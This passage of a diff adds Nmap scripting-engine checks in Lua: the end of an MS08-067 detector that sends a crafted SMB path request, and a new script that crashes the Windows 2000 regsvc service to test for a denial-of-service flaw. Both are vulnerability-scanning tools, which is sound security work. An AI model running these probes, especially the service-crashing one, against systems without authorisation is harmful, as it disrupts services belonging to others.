PATCHED for not vulnerable, +-- UNKNOWN if there was an error (likely vulnerable), +-- and INFECTED if it was patched by Conficker. +function check_ms08_067(host) + local status, smbstate + local bind_result, netpathcompare_result + + -- Create the SMB session + status, smbstate = msrpc.start_smb(host, "\\\\BROWSER") + if(status == false) then + return false, smbstate + end + + -- Bind to SRVSVC service + status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil) + if(status == false) then + msrpc.stop_smb(smbstate) + return false, bind_result + end + + -- Call netpathcanonicalize + -- status, netpathcanonicalize_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\a", "\\test\\") + + local path1 = "\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\n" + local path2 = "\\n" + status, netpathcompare_result = msrpc.srvsvc_netpathcompare(smbstate, host.ip, path1, path2, 1, 0) + + -- Stop the SMB session + msrpc.stop_smb(smbstate) + + if(status == false) then + if(string.find(netpathcompare_result, "WERR_INVALID_PARAMETER") ~= nil) then + return true, INFECTED + elseif(string.find(netpathcompare_result, "INVALID_NAME") ~= nil) then + return true, PATCHED + else + return true, UNKNOWN, netpathcompare_result + end + end + + return true, VULNERABLE +end + +action = function(host) + local status, result, message + local response = {} + local vuln_report = vulns.Report:new(SCRIPT_NAME, host) + local vuln_table = { + title = 'Microsoft Windows system vulnerable to remote code execution (MS08-067)', + state = vulns.STATE.NOT_VULN, + description = [[ + The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, + Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary + code via a crafted RPC request that triggers the overflow during path canonicalization. + ]], + IDS = {CVE = 'CVE-2008-4250'}, + references = { + 'https://technet.microsoft.com/en-us/library/security/ms08-067.aspx' + }, + dates = { + disclosure = {year = '2008', month = '10', day = '23'}, + } + } + -- Check for ms08-067 + status, result, message = check_ms08_067(host) + if(status == false) then + vuln_table.state = vulns.STATE.NOT_VULN + else + if(result == VULNERABLE) then + vuln_table.state = vulns.STATE.VULN + elseif(result == UNKNOWN) then + vuln_table.state = vulns.STATE.LIKELY_VULN + elseif(result == INFECTED) then + vuln_table.exploit_results = "This system has been infected by the Conficker worm." + vuln_table.state = vulns.STATE.LIKELY_VULN + else + vuln_table.state = vulns.STATE.NOT_VULN + end + end + return vuln_report:make_output(vuln_table) +end diff --git a/scripts/smb-vuln-regsvc-dos.nse b/scripts/smb-vuln-regsvc-dos.nse new file mode 100644 index 000000000..27a861b09 --- /dev/null +++ b/scripts/smb-vuln-regsvc-dos.nse @@ -0,0 +1,128 @@ +local msrpc = require "msrpc" +local nmap = require "nmap" +local smb = require "smb" +local stdnse = require "stdnse" +local string = require "string" +local table = require "table" +local vulns = require "vulns" + +description = [[ +Checks if a Microsoft Windows 2000 system is vulnerable to a crash in regsvc caused by a null pointer +dereference. This check will crash the service if it is vulnerable and requires a guest account or +higher to work. + +The vulnerability was discovered by Ron Bowes while working on smb-enum-sessions and +was reported to Microsoft (Case #MSRC8742). + +This check was previously part of smb-check-vulns. +]] +--- +--@usage +-- nmap --script smb-vuln-regsvc-dos.nse -p445 +-- nmap -sU --script smb-vuln-regsvc-dos.nse -p U:137,T:139 +-- +--@output +--| smb-vuln-regsvc-dos: +--| VULNERABLE: +--| Service regsvc in Microsoft Windows systems vulnerable to denial of service +--| State: VULNERABLE +--| The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference +--| pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes +--| while working on smb-enum-sessions. +--|_ +--- + +author = {"Ron Bowes", "Jiayi Ye", "Paulino Calderon "} +copyright = "Ron Bowes" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"intrusive","exploit","dos","vuln"} +-- run after all smb-* scripts (so if it DOES crash something, it doesn't kill +-- other scans have had a chance to run) +dependencies = { + "smb-brute", "smb-enum-sessions", "smb-security-mode", + "smb-enum-shares", "smb-server-stats", + "smb-enum-domains", "smb-enum-users", "smb-system-info", + "smb-enum-groups", "smb-os-discovery", "smb-enum-processes", + "smb-psexec", +}; + +hostrule = function(host) + return smb.get_port(host) ~= nil +end + +local VULNERABLE = 1 +local PATCHED = 2 + +---While writing smb-enum-sessions I discovered a repeatable null-pointer dereference +-- in regsvc. I reported it to Microsoft, but because it's a simple DoS (and barely even that, because +-- the service automatically restarts), and because it's only in Windows 2000, it isn't likely that they'll +-- fix it. This function checks for that crash (by crashing the process). +-- +-- The crash occurs when the string sent to winreg_enumkey() function is null. +-- +--@param host The host object. +--@return (status, result) If status is false, result is an error code; otherwise, result is either +-- VULNERABLE for vulnerable or PATCHED for not vulnerable. +function check_winreg_Enum_crash(host) + local i, j + local elements = {} + local status, bind_result, smbstate + + -- Create the SMB session + status, smbstate = msrpc.start_smb(host, msrpc.WINREG_PATH) + if(status == false) then + return false, smbstate + end + + -- Bind to WINREG service + status, bind_result = msrpc.bind(smbstate, msrpc.WINREG_UUID, msrpc.WINREG_VERSION, nil) + if(status == false) then + msrpc.stop_smb(smbstate) + return false, bind_result + end + + local openhku_result + status, openhku_result = msrpc.winreg_openhku(smbstate) + if(status == false) then + msrpc.stop_smb(smbstate) + return false, openhku_result + end + + -- Loop through the keys under HKEY_USERS and grab the names + local enumkey_result + status, enumkey_result = msrpc.winreg_enumkey(smbstate, openhku_result['handle'], 0, nil) + msrpc.stop_smb(smbstate) + + if(status == false) then + return true, VULNERABLE + end + return true, PATCHED +end + +action = function(host) + local status, result, message + local response = {} + local vuln_report = vulns.Report:new(SCRIPT_NAME, host) + local vuln_table = { + title = 'Service regsvc in Microsoft Windows systems vulnerable to denial of service', + state = vulns.STATE.NOT_VULN, + description = [[ +The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference +pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes +while working on smb-enum-sessions. + ]] + } + + -- Check for a winreg_Enum crash + status, result = check_winreg_Enum_crash(host) + if(status == false) then + vuln_table.state = vulns.STATE.NOT_VULN + else + if(result == VULNERABLE) then + vuln_table.state = vulns.STATE.VULN + else + vuln_table.state = vulns.STATE.NOT_VULN + end + end + return vuln_report:make_output(vuln_table) +end